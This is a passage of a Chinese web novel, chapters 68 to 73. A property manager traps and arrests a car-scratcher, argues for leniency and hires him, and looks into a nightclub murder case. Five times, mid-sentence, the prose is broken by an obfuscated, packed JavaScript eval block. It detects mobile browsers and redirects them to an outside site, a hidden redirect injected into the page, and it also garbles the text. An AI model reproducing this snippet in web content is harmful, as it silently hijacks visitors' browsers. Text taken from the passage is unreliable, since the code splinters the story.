“老陈，这个主意不是不行，但是操作起来要注意细节啊，擦边球咱可不能打，要不然偷鸡不成反蚀把米。”老魏站在领导的高度，谨慎的提出意见。 其实老魏一说做个局，我心里就有主意了，“做局”可是我最拿手的，听到业委会其他几个人也都支持，这事儿能办！ “好，那我就来做个局，魏老放心，我吕向荣一向以军人的自律要求自己，犯错误的事情我不干。不过，这个事，我还需要大家的支持。”我表态。 几个人用眼神询问我，需要怎么支持。 “很简单，做局、钓贼、包括捉还有录视频，这些我都可以自己完成，需要大家支持的是造势，包括我传播到网上以后，各方面舆论，还有园区内业主们的思想工作，这些是需要各位支持的。人多力量大，我一个人的能量是有限的。” “这是必然的，你放心，而且你捉住划车贼，对我们每一个人来说都是利好。”魏老说。 其余几人也都赞同。 散会以后，我找来江怀洲和王敬之，开始布置这个钓鱼计划。 “师哥、怀洲，事情就是这么个事情，你们有什么好点子，我们研究研究。”我准备发动群众的智慧。 “领导，钓贼不是不可行，但是你得有诱饵啊，而且还得用贼喜欢的饵，我们现在都不知道贼啥样，怎么找饵呢？”江怀洲发问。 “也未见得一定要知道贼啥样，我们可以用通用的饵，比如说没人不喜欢钱，是吧。”王敬之也发表意见。 “我觉得敬之这个说法特别好，如果划车贼一定在小区里，可以发动全部业主的力量去捉，捉住的给奖励，重赏之下必有勇夫。”江怀洲说。 “倒不是不可以，可是这钱从哪出？你们是知道的，物业收缴上来的车位租金大部分用在了修补坑洼坏道、建设运动器材上了。”我说。 “不能从手里的钱出，可以从还没到手里的钱上出啊！”王敬之说。 “还没到手里的钱？”我和江怀洲都充满疑惑的看着王敬之。 “你发布一个公告，凡是提供划车贼线索的业主，给与减免租用车位的租金，提供线索精准的，免一年，这个时间你可以自己随便写啊！” 我眼睛一亮，真不愧是我师哥，这小脑筋转的太快了! “对，这期间我再让业主委员会给我出个联名的评估，把物业整改的事情发到网上，给我们正个名，防止负面舆论继续扩大。有了划车贼的线索后，我再设局让他钻进来。”一下子，我的思路全通了，就这么办！ 接下来的进展异常顺利，老魏和老陈他们几个写的《城中花园物业真实风貌》在网上获得超多的点评，很多业主也在下面跟帖，细说物业整改后的园区利好。 车位、堵塞反臭、坑洼填平、运动设施构建，还有监控、感应灯等的这些事，都被拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158136|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来说了，还有人把照片也传了上来，我竟然不知道自己已经做完了这么多工作。 园区的安保问题，尤其是江怀洲，还得到了为数不少的业主的表扬，他们夸他是“园区卫士”。 当舆论越来越沸扬的时候，林皓的电话打来了，“向荣，干得漂亮！我接到集团的电话，今年的优秀物业经理非你莫属啦！我给你申请了一个嘉奖，年终会有红包喔。” “林哥，等我抓到划车贼，咱们一起算。”我在电话这头笑眯眯的说。 “划车贼？要谨慎啊，一定要时刻注意舆论。”林皓提醒我。 寒暄了几句挂断电话，江怀洲神神秘秘的跑进来，“领导，有线索了。” 我一听，知道是划车贼的事，“快，仔细说说。” “是住在回迁房那栋的郭叔跟我说的，他每天下班都很晚，从进车门到他家要走园区主路一直走到底，有一天回来已经过了凌晨，他发现身后有脚步声，回头看 了几次都没发现人。等进了单元门，要上电梯的时候，有个人跑进来也跟着乘电梯。他仔细一看是住他楼下的蔡浩，两个人点头示意了一下，也没说话。” 我看看江怀洲，“完啦？就这些？这能代表什么呢？” “领导，这是不能说明蔡浩去划车了，但是我看了一下，正是鲁老师车被划的那个时间，至少说明蔡浩有嫌疑啊！”江怀洲分析。 我思考着，确实，那么晚了，去做什么了？是有嫌疑。 “还有谁来反映过线索吗？”我问。 “没有，目前就这一个。” “把蔡浩的档案翻出来我看看。”我想了解一下蔡浩的情况。 档案信息显示，蔡浩是长租客，自己没有车，独居。 我又扫了一眼之前物业留下的车位规划档案，确认蔡浩没有车，但我一下子看到了前任物业的员工信息表，里面赫然躺着蔡浩的名字，身份信息和这个蔡浩一致。 “他之前在物业干过呀。”我说。 “看来是嫉妒我们，是之前物业的余孽。”江怀洲说。 第六十九章 请君入瓮 原来如此，那我们就进行下一步“请君入瓮”。 我安排业委会放出风去，就说社区得知我们物业的工作事迹很受鼓舞，要树立我们作为辖区的标杆、模范。 如果最近一星期仍然是“风调雨顺”，就会派工作人员来进行专访和推广，号召广大业主给与大力支持。 老魏他们果然给力，不仅在各自的群内发布了消息，还在小区宣传栏张贴了海报。 我和江怀洲、王敬之则开始了巡逻上的加码，当然，依旧是秘密进行的，还在一些点位增加了监控，也是秘密进行。 一切准备就绪后，就等着贼现身了。 “领导，你说这个贼会不会感知得到我们的计谋，按兵不动了？”江怀洲问我。 “我觉得不会。他已经很久没作案了，网上的舆论风向已经转好，他也知道，如果真的是蔡浩的话，对我们物业有疙瘩，他就一定会出来搞破坏。” “那如果结果相反了、确实一无所获了怎么办？”江怀洲显然信心不足。 “老江，别担心没发生的事情，先去做，退一万步讲，如果真的空手而回，我们再想b方案呗，总之目的只有一个，把贼捉住。”王敬之说。 我点头示意王敬之说的正是我想表达的。 “咱们得有个明确的分工，捉贼捉赃，得有他犯罪的证据，所以，这个时间节点一定要把握好。绝对不能没判断出对方的意图呢，就出手，如果对方不承认，我们就白忙了。” 我一边提醒、一边在脑海里思考着计划。 “我和老江打头阵，你垫后。”王敬之说。 “额？为什么是我垫后？”我很诧异。 “因为你鬼点子多啊，我们上的时候，你还可以继续思考，等你上了，那就是万无一失。” 哈哈，原来我在王敬之心里是这么一个鬼精的形象。 消息发布以后的第一天晚上，我们三个分别守在各自的位置上，蹲守、等待。 除了一无所获以外，还被蚊子叮咬了一身的包。 接下来的三四天也都是安静的连个人影都没有，我甚至于怀疑，是不是业主都知道我们要争先进，所以就不出来了、只为配合我们工作。 最后一天的时候，王敬之接到了冯晶晶的电话，说要见见他，王敬之为难的看看我和江怀洲，“向荣，我不能不去，你们先上，我回来直接跟你们会和。” “师哥，冯晶晶这么快好了吗？按说第一副药也刚接近尾声。”我问。 “不知道她有没有好，但是电话里的声音挺正常的。我去也是想亲自问问她，那天晚上到底发生了什么事。” “好，师哥你去吧，多你少你没关系，我俩能搞定。”我嘿嘿的笑。 王敬之知道我有啥说啥，收拾收拾东西就去了荟萃亭。 “领导，你们跟冯老板的女儿很熟吗？”江怀洲打听。 “也不算熟，我师哥跟她能多聊一些话，怎么了？你为什么这么好奇？”我问。 “嘻嘻，没什么，我这还是道听途说，你知道的，下边的员工都愿意聊一些领导的八卦，我也是听说的。” “到底听说了啥，赶紧说，别卖关子！”我急了。 “据说冯老板不能生育，这个孩子不是他亲生的。他老婆之前和他的把兄弟丁有生谈过恋爱，所以大伙都说冯晶晶的亲爸是丁有生。” 这这个消息确实是太八卦了，甚至有点离谱，围绕着这兄弟五个发生的事情也确实都很奇葩，所以这事还真的保不齐是真的。 “怪不得我几次去都没见过冯楠的爱人呢。”我的话顺嘴溜达。 “冯老板的老婆在冯晶晶出生后的第三年就去世了，据说是怀了个孩子，没生出来，死在产床上了。”江怀洲啥都知道。 “老江，我发现你咋跟个万花筒一样，啥都知道呢。”我感慨。 “嘻嘻，领导，我说过了，这些都是道听途说的八卦，你就当笑话一听就得了，可别信。”江怀洲的老毛病，明明说了事情，还非得让你认为他没说，是你自己愿意相信的。 看看时间接近巡逻了，我拍拍他的肩膀，“走吧，别八卦了，胜败在此一举。” 江怀洲立刻严肃起来，我们俩带好帽子，穿了一身轻便的黑衣服，出了门。 赶上那天晚上阴天，黑乎乎的星星都没有，虽然我和江怀洲脚步很轻，但是因为夜里安静，还是能听到我俩的呼吸和脚步声。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158137|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示意江怀洲再轻一点、分开走，他点点头，表示了然。 我心下想着，如果我是划车贼，就目前的情况，我还想搞破坏的话，我要去划什么样的车呢？ 脑海中突然就冒出一个念头，老魏的车。 老魏是业委会的，又是退休干部，最近帮助我们物业说了不少好话，还写了文章，这么多“遭人恨”的事情，肯定是最大目标。 而且业委会里其余几个人，毛芝云家里有自己的车位，牛爱玲和老陈没车，鲁林安的车已经被划过了，就剩下老魏了。 想到这，我加快脚步往老魏的停车位那边走，还没等到那里、还有个几十米的距离的时候，就发现了一个鬼鬼祟祟的黑影。 天太黑了，手机录制功能没办法用，只能再近一点、伺机而动。 黑影身手很敏捷，走路几乎没声音，很快速的挪到老魏的车旁边，先是站定了东瞅瞅、西看看，我赶紧躲在另一辆车的车后。 心里捏了一把汗，“魏老，您这车，我尽量帮您保住，实在为了捉贼捉赃被划一道，您可别太心疼啊！” 刚想到这，就发现黑影从袖口里抽出一根细长的铁丝一样的东西，顺着车身就开始转圈。 我看到他把铁丝杵在车身上以后，用最快的速度冲过去，直接按住他，“住手！别动！” 黑影吓了一跳，根本没回头看我的意思，而且我这才看清了，他的脸上还裹得严严实实的，准备工作做的很足。 他用尽全力的挣脱我的手，博弈间，我的手臂被铁丝狠狠的划了一下，感受到疼我条件反射的一跳，他挣脱了，拼命的往前跑去。 我也顾不上夜晚安静了，大声的喊：“江怀洲、老江，捉住他，快！就是他！” 说时迟那时快，我看到黑影被迎面而来的一脚直踹面门，黑影“啊”的一声应声倒下。 我定定神，这一脚可真的是稳准狠，来人正是江怀洲。 江怀洲踹完这一脚，直接就坐在黑影身上，我也跑到了近前，我们两个人控制住划车贼。 “还跑，我都看见你划人家车了，你往哪跑！”我边说边扯下划车贼脸上裹着的大口罩。 这人的脸出现在我眼前的时候，吓了我一跳。 第七十章 求情 这还叫一张脸吗？如果说，一定要说是脸的话，那也太磕碜了点。 整张脸上都布满了痤疮破溃之后的坑洼，眼睛很小，不是整只眼睛小，是黑色的眼珠很小，没有鼻梁，嘴巴很大、嘴唇很厚，头发杂乱浓密，再加上他身高不高，干巴瘦，这形象让我想起了时迁。 “蔡浩，真的是你啊，你说你干点啥不好，非要出来划车呢？这是犯罪你知不知道？”江怀洲说。 我心下了然，原来跟我们揣测的分毫不差，就是老物业的人心怀记恨。 “蔡浩，我报警了，十分对不住，你这个动机我们搞不懂，本着对园区业主负责任的态度，只能这样了。”我心平气和的说。 “报就报，别假惺惺的！” 蔡浩竟然还是个公鸭嗓，我去简直了，怎么会有一个人的长相集中了所有的不好！ 我和江怀洲先把蔡浩带到了物业办公室，同时打了110，在等警察来的过程里，我给蔡浩倒了杯水。 他斜眼看了看我，明显不服气，“你就是吕向荣？你就是侥幸我跟你说，别以为你治理了一时就怎么回事了，这园区的丑闻多了去了。” “园区丑闻跟你划车有啥关系呢？”我问。 他被我问住了，想了想说：“这帮人都活该！我们干物业的时候，求爷爷告奶奶的让他们缴费都不交，我们自掏腰包他们都视而不见，怎么你们来了就乖乖投降了呢？都是贱，都活该！” 我一看这哪行啊，对自己的行为明显没认识到错，就算是警察来了、“受教育”了，也未必解决根本，尤其如果是赔两个钱就完事的话，这么个小心眼的人，肯定还是仇恨满怀。 我想了想，蔡浩的档案上，家里有个老妈，盲人，70多岁了，准备数落数落他。 “蔡浩，我看你年纪也不小了，这物业管理是咋回事，你肯定都了解，那可并不是你求爷爷告奶奶人家就买账的，你要是为这个迁怒于园区业主，那你也太小肚鸡肠了。” 他刚想张嘴反驳，我立刻补充：“尤其是你家里还有个老妈，70多岁了，眼睛看不见，你说你这么整，你老妈怎么办？谁照顾？万一知道了你做的事，老太太再上点火，得个病，你说你哪多哪少啊！为了这些事搭上自己的生活，你可真是不值当。” 蔡浩的表情立刻暗淡了，眼神里有了波动，嘴唇动了动，啥也没说出来。 我又继续说：“你住那栋楼是回迁房，很多人都是老邻居，抬头不见低头见的，何必呢干这些事！你图一时泄愤爽了，日后咋相见？老话儿说的好，远亲还不如近邻呢是不，虽然说现在这个楼设计的不像以前了，家家户户私密性高了，但是谁家要是有个好邻居，那得顶多少个好亲戚啊！” 蔡浩不说话，我知道他才开始顺着我的话去深入的想，他才开始认识到自己做的事情有多幼稚。 这时候，警察到了，我跟警察大致介绍了一下情况，警察要带蔡浩去派出所做笔录。 蔡浩起身要走的时候，动容的看着我说：“吕经理，风闻你心善，麻烦你不要跟我妈说，该赔多少钱我赔，你告诉我妈我出门办点事，很快就回来。” 我一看，这人还有救，知道孝顺父母，“你放心，我会跟大娘说的，这两天我去照顾她。” 蔡浩没成想我会说最后一句，愣了一下，然后特别有深意的对我点点头。 结束以后，我很疲惫，连日来的蹲坑根本没睡好觉，忘记了关注王敬之竟然还没有回来。 第二天起来以后，业委会的几个人竟然都在物业办公室等我，老魏笑眯眯的说：“向荣，你可真是颗福星。” 我不好意思的挠挠脑袋，“魏老，抱歉哈，您那车，应该是被划了一点，没办法，为了捉贼捉赃。” “没关系，反正贼也抓住了，让他一起赔好了！”鲁林安说。 毛芝云也笑呵呵的说：“弟弟，你确实有两把刷子，我当初没看错，咱们城中花园以后是有救了。” 牛爱玲也跟着点头，唯独老陈不说话，好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158138|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心事。 “陈叔，有话您但说无妨，大家好不容易凑一起了，有啥事都商量着解决呗。”我说。 “吕经理果然蕙质兰心，看出我有话，哎，不过，确实有点难以启齿。”老陈看看在座的几个人。 我有预感他要说什么，怕不是要为蔡浩说情？ “几位，我能不能跟你们商量商量放过蔡浩啊？罚他点钱，别让他坐牢了。他没有工作没有收入，先欠着，我帮你们监督着，他有了一定逐个还，好不好？”老陈恳求。 “陈叔，你为啥呀？为啥要为这样的人求情啊？还为他担保？”牛爱玲问。 “是啊，陈叔，他能有这一回，保不齐以后还得犯，不处罚不痛不痒的，哪行呢！”鲁林安也说。 老陈又重重的叹了口气，说：“蔡浩是我们老邻居了，爱玲、老魏，你们都认识他妈，他妈当年因为在厂子里见义勇为，才瞎了双眼，就这么一个儿子，要是有了事，老太太以后的生活可咋办？” 老魏也不做声了，明显的，他们都知根知底。 “而且蔡浩这几年，因为外形不佳，一直找不到工作，好 不容易在园区干物业了，物业又黄了，他们娘俩全靠他妈那点退休金生活，也挺难的。他划车这个事，情节上和金额上可民事、可刑事，我想在这里恳求大家高抬贵手，就算是看在他老娘的份上，让他赔点钱，免于服刑吧！他知道了这份情义，一定会痛改前非的。那孩子的本质我了解，不是恶人。”老陈又说。 几个人都不说话了，各怀心事，我知道他们还没想好，我想先表个态。 “陈叔，你分析的对，蔡浩确实是因为之前物业费力不讨好的事记恨在心，再加上失业，没有收入来源，冲动之下开始泄愤。昨天他走的时候，有明确的悔改之意，还拜托我别告诉他老妈实情，怕他妈接受不了。”我说。 “蔡浩的老娘确实挺可怜的，常年住在楼上，基本上下不了楼，这蔡浩一走，谁去照顾倒是成问题了。”牛爱玲说。 第七十一章 上辈子积了什么德 “这样吧，我们业委会跟物业一起去逐个拜访被划车的车主，统计一下一共索赔多少钱，劝说他们赔点钱，不要作为刑事进行立案了。”老魏一锤定音。 我一看在座各位都没反对，但是确实，像鲁林安，也只是给与沉默。 “在座各位，我年龄最小，对这里的情况也没有你们更熟悉，按说我的话语权最小，关于蔡浩这件事，我想表达一下我的看法，如果不对呢，你们随时批评指正。” 我说完以后，他们都看着我，陈叔示意我说。 “我干物业三年多，经历的楼盘也有四五个，接触过各种情况的业主、各种类型的纠纷。咱们城中花园确实有自己的特殊性，其实前几波物业，我相信初心也是好的，也是想把物业干起来的，只是没找对方法，最后甚至于搞成两相对立。对于找不到工作的蔡浩来说，物业这碗饭就是他生存的根本，他的发心是好的，但是他的格局和素养不够，才有了报复心。” 我停顿了一下，看看在座的几个人都在认真的听，于是我又继续说出重点。 “如果这一次，我们仍旧采取对立，给他最严重的惩罚，他经历了一年甚至更多时间的牢狱之灾之后再出来，首先可以确定的一点是，工作肯定是更难找了，其次他的老妈未见得能身体依旧健康的等到他回来，最后，如果这些压力都出现了，我们谁能保证他不会再产生仇恨？谁能保证他不做出更过格的事情？老祖宗教导我们与人为善，教导我们勿以善小而不为，我始终认为，这一次我们用大爱去包容，必定能换回一个改过自新的蔡浩。” 说完以后我的眼光看到毛芝云，竟然泪眼汪汪的看着我，“毛姐，你、你咋啦？” “向荣兄弟，你说的太好了，其实我们现在所谓的住邻居，早已经没有我们父辈那时候的感觉了，如果不擅长社交的，甚至根本不知道对门姓甚名谁，但是我们心里还是希望有和谐的邻里关系的，能住在一个祥和的园区里，一直是我们普通业主的愿望。我赞成你说的，让他赔点钱，这一回就原谅他吧。”毛芝云说。 “吕经理的格局很高，我自愧不如啊！这个提议我赞成。”鲁林安终于发话了。 老魏和老陈也笑眯眯的瞅着我，看的我有些不好意思。 蔡浩的事，在业委会和物业的努力下，仅作为民事纠纷，几家业主听说了来龙去脉，大部分都能理解，个别几个不能的，倒也没难为，就说赔了钱就可以。 消失了几天终于回到园区的蔡浩，第一时间到物业找到了我。 “吕经理，这个是我妈包的饺子，让我给你带过来，这两天亏得你每天买菜过去，还给做饭谢谢你啦！” 这个公鸭嗓我听着是真难受。 “别客气啦，你走时候我答应过你的，我是兑现承诺。”我看着一脸真诚的蔡浩，突然有了个主意。 “你以前在物业是做什么工作的？”我问。 蔡浩对我突然的问话没反应过来，卡壳了一会儿说：“基本上什么都做吧，除了工程维修我不懂。但是简单的监控和电脑故障啥的，我都会修。” “行，那你来我这吧，明天你就来上班，我缺个客服，顺带着其它打杂的事，你也帮我做。工资倒是不太高，但是社保和公积金我们集团都有。” 我已经想好了把客服的编制让给他，今年的收缴任务提前完成了，这个编制林皓答应过。 “这、这、真的吗？吕经理，咱们都是男人，可不能开玩笑。”蔡浩惊住了。 “真的、真的！我肯定是男的，怎么可能跟你开玩笑。”我气笑了。 “跟我干可以，但是咱可有言在先，以后做事先过脑子，实在想不明白可以来问我、问江怀洲都行，之前犯的错误可不准再犯了！发工资以后，把欠的钱一点点还了，带着老娘好好生活，知不知道？”我继续补充。 蔡浩的泪水已经流了一脸，但是他只是哽咽着，也不说话，最后像是想通了什么，重重的、90度的给我鞠了一躬，转身走了。 “领导，你真是个好人啊！我江怀洲上辈子积了什么德，跟了你。”江怀洲凑过来煽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158139|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。 “干活去！真八卦。哎，对了，你那天踹人家那一脚怎么踹的，得空你也教教我。” 江怀洲看着我认真的样子，哈哈的笑了，露出一口白白的牙齿。 王敬之失踪了三天，我忙忙叨叨的到了第二天晚上才发现少了点什么。 不对啊，师哥说当晚就赶回来的，怎么消失了这么久？难不成在六日家住了？ 我赶紧给王敬之打电话，关机！ 天！王敬之从来没有过这样的情况，是出什么意外了？我不禁想起了刘才东，赶紧提醒自己不要瞎合计。 我又给冯晶晶打电话，一直是无法接通。 到底怎么了呢？时间过的越久，我越着急，但是以王敬之的身手，有人想害他可是很不容易的啊！难道是遇到了许德生？ 不行，不能再等了，我拨通了冯楠的电话。 “三哥，我师哥王敬之去你家了是吧，事情办完了吗？” 电话那边的冯楠竟然支支吾吾的，“向荣啊，哦、哦、是，是，他来过了，但是 当天就回去了。” 什么？当天就回来了？不可能！ “三哥，他没回来，而且是至今未归，他去你家到底做什么去了？发生了什么？” “啊？没回去？怎么可能呢？他来看望晶晶，两个人在楼上聊了很久，晶晶自从吃了你的药，基本上不会再大喊大叫了，饮食起居也基本都恢复正常了呀。聊完以后，大约晚上10点左右吧，他就告辞回去了。”冯楠说。 我充满了怀疑，因为许德生，我一直对冯楠抱有不信任，现在又弄丢了我师哥，不行！我要去荟萃亭看监控。 荟萃亭的保安我认识，上一回问刘才东的事就已经相熟了，后来每次去那边，我都会去保安室看看他们，所以我到那以后说清楚情况，要看看监控，他们直接就给我调了。 确实，监控看见王敬之夜里10点半出了荟萃亭的门，一个人走的，没有任何人尾随。 师哥啊！你去哪了？ 第七十二章 穿军装的 就在我一无所获，马上就要找林翔报警的时候，江怀洲给我带来一个震惊的消息。 “什么？我师哥去名都当保安了？你确定？”我惊讶的眼珠子都要凸出来了。 “确定、确定，我这两天帮你搞监控，去名都找我那朋友，在后门看见王敬之了，他神神秘秘的让我告诉你，现在不能用手机，不用担心他。”江怀洲说。 我这个师哥啊，真是想一出是一出，他去那当保安，为什么？难道他是发现了什么事、去取证了？ 是不是在冯晶晶那里得知了什么事了？ 一脑门子问号，王敬之可真行，给我整个儿扔为什么堆儿里了。 “领导，你不用担心，王敬之在那边，条件比这里好，工资也比这高。”江怀洲安慰我。 “你懂啥？我是担心他的安全。”我吵吵。 “安全？啊？你是说他孤身一人去调查许德生去啦？”江怀洲懂了。 “哎呀，这可、这可不好整了，这、这”江怀洲开始在屋里转上圈了。 蔡浩在外边的位置听见我们争执，赶紧过来看，“经理，出什么事了？需要我不？” “噢，没事没事，你忙吧，你把那个自拓营收的事情搞一搞，想好了可行性的点子再找我聊。还有那个东边那片空地作为车位使用的合同，你弄出来。”我才想起来，办公室多了一个蔡浩。 蔡浩应承着出去了，执行力倒是很强。 咋整呢？“不行，我得去见王敬之一面，不然我觉也睡不好。老江，你帮个忙，让我们见一面。” 江怀洲看看我，“好，小意思！” 晚上八点后，我在名都的后院焦急的等着王敬之。 江怀洲找的传话人应该把讯息带到了，老江办事还是很稳的，但是我就是心焦，我不准许自己身边的人再有事发生。 接近9点了，后院那个小门开了，我看见王敬之不紧不慢的走过来。 “师哥，你抽什么风？你吓死我了你知不知道？你说你挺大个人，办事怎么这么鲁莽呢！怎么的？给我发信息告诉我一声的时间都没有吗？” 我一口气把这几天想说的话竭尽全力的挑重点全说出来。 王敬之瞪了我一眼，“吕向荣，你给我小点声，咋这么多事儿呢！我都多大人了，还能丢啊？你看看你叨叨叨的，说的我脑门子疼。” 嘿！他竟然一点也不能体谅我为他担心的心情。 “师哥，你咋想的啊？来这里当保安？冯六日到底和你说了啥？” 王敬之的神色凝重起来，“向荣，这事有点玄，我到现在也没弄明白是什么，所以就没跟你打招呼，我就怕你拦我，你容我在这待几天，等我弄清楚到底是什么，我就回去。” “师哥，你说的是啥？具体是啥？你告诉我行不行？我知道你能耐、你本事高，你不欺负别人就不错了，但是你知道你现在面对的敌人是谁吗？很有可能人家在暗处，你在明处，暗箭难防你知不知道？”我苦口婆心。 “晶晶说，她那天在包房的卫生间出来，看见沙发上坐着一个穿军装的人，她记得一起来玩的朋友里没有穿军装的，就跟他说话，对方也答话，两个人聊的还挺好。于是晶晶就很热情的招呼他也跟着吃喝，再后来就什么都不知道了。” “啊？”我瞪大眼睛，穿军装？刘才东？ 晕了晕了，怪不得王敬之也迷惑了，这都是什么情况？ 按照冯楠的说法，许德生是看见冯晶晶自己在和空气对话 “吕向荣，我得回去了，我们按照老暗号行事，你快走吧，这边也有监控。”王敬之说完以后神色匆匆的进了小门。 老暗号是我俩小时候，应对我姥爷用的，我还得仔细想想都有啥，哎！这个王敬之，胆子真大，想干就干。 我又一想，这不就是我嘛，我也这样，哎！ 回到城中花园，看看认真工作的蔡浩，心里不由得敞亮起来，这应该就是我工作的价值所在吧，帮助人，不仅仅是在当下，还有未来。 江怀洲看我回来了，神神秘秘的示意我进里间聊。 我知道有事，进了里间，关上门，“咋了？慌慌张张的，说吧。” “你要的监控，我拿来了，还有一些照片，是许德生电脑里拷贝的，你也看看。” 我吃惊的看了看江怀洲，“老江，去许德生电脑里拷贝东西，很危险，你怎么能这么铤而走险呢！我不希望你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158140|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵扯到这件事里来。” “没关系，这是我自情自愿的，将坏人绳之于法，人人有责。” 我看着言之凿凿的江怀洲，心里涌起浓浓的感动和歉意。 “老江，我理解你的心情，但是说真的，这是最后一次，以后绝对不可以再做，知道吗？你就当为了我，为了我以后能舒坦的生活，不要再这么冲动行事。” 江怀洲看看我，点点头，我知道我们的友谊算是结下了。 我开始看监控，这些竟然都是我没看到过的，看着时间和过程，很明显是最原始的部分。 “领导，这个角度是三楼的，三楼虽然不让随便上去，但是监控设备还是很全的。” 我看看江怀洲，说：“我当时 没看到三楼的，许德生没有给我看。” 我翻到记忆中谢敏去的那天，果然的，看到谢敏在走廊里走，进了一个包房，时间能有3、40分钟吧，谢敏穿个背心就跑出来了，进去时候的外套没有了，脸上的妆花的，哭着跑出了监控区域。 “老江，这些监控警察没看到过吗？”我问。 “据我所知应该是没看过。许德生那里，监控都留一手，具体他怎么鼓捣的我们也不清楚。警察如果看到了，现在应该早就传讯许德生了吧。”江怀洲说。 我继续往之前的时间回看，距离谢敏去的时间有一周左右吧，我看到了照片里的赵明。 “这个是不是赵明？”我问江怀洲。 “对，就是他，他是三楼的常客，每次都输的精光才回去。”江怀洲说。 我看到赵明搂着一个穿的很少的女的，进了一个包房，也就几分钟的工夫，他抓开包房的门往外跑，被里面的一只手给抓了回去。 啊？“你知道包房里面是谁吗？”我着急的问。 江怀洲哈腰仔细看了看包房号，“应该是许德生，309，他的常驻地。你回看一下，谢敏那段应该也是去的309。” 我回看了一下，确实，谢敏也是进的309。 “老江，就这个视频，绝对可以传讯许德生了吧？”我问。 “不能，许德生否认在里面的话，警察也没证据。”江怀洲很清醒。 第七十三章 距离你很近 看来老谢家灭门真的是因为赵明而起，不过全部的经过都只是停留在猜测上，除了这两段监控，没有直接证据。 看完监控，我又开始翻看拷贝回来的照片，有一张吸引了我的注意。 是一张合影，一共有八个人，里面有好几张熟悉的面孔，冯楠、廖文彬、许德生，还有一个人脸孔很熟，不记得哪里见过。 “老江，你帮我看看这些人你认识吗？” 江怀洲凑过来仔细看了看说：“这是冯老板兄弟五个的合影，还有老谢，就是谢敏她爸，还有冯楠的小舅子。” 哦，怪不得有两个人看着那么面熟，一个是死了的老谢，我见过照片，还有一个冯楠的小舅子，长的像我师哥。 “他们不仅仅是认识啊，看照片他们的关系应该很好。”我说。 “对，他们一起合作开发了几处楼盘了，荟萃亭只是其中之一。老谢是分包商，他们开发完的，一般都是找他给干精装的活。许德生就是一打手，至于冯老板的小舅子嘛，我确实不了解，挺神秘的这个人。”江怀洲说。 我指了指其中一个高高瘦瘦、白面书生一样的男的问，“这个是谁？” “他是老二丁有生，传说中冯晶晶的亲生父亲。”江怀洲回。 我又仔细看了看，那个眉眼和神韵确实跟冯晶晶相像。 我又继续翻看照片，一张室内的照片吸引了我的注意。 是许德生单独的照片，在一个很大的健身房间里，不像健身房，倒像是私人的会所。 我越看越觉得熟悉，这感觉怎么那么像谢敏死的凶案现场？ 照片中的许德生，没穿上衣，喜笑颜开的注视着镜头，有种很油腻的淫贱相。 我仔细看了看照片里面的大落地窗，上面是挂着床帘的，素色的床帘底色，上面有纹绣的金色花纹。 看了很久，信息是掌握了不少，但是有关于刘才东的却寥寥无几。 “哥哥，如果你在天有灵，给我点启示，好不好？”我在心里嘟囔。 正疲惫的时候，蔡浩敲门进来，“经理，我做了几个自营可行性项目的调研，跟你汇报一下，你看看？” 我一想也行，正好换换脑子。 “好呀，来吧。”我招呼蔡浩过来坐。 蔡浩理了理拿着的资料，坐在我对面开始和我说：“根据城中花园的地理位置和业主的情况，有几个自营项目是可以选的，而且可以在半年内达到盈利。” 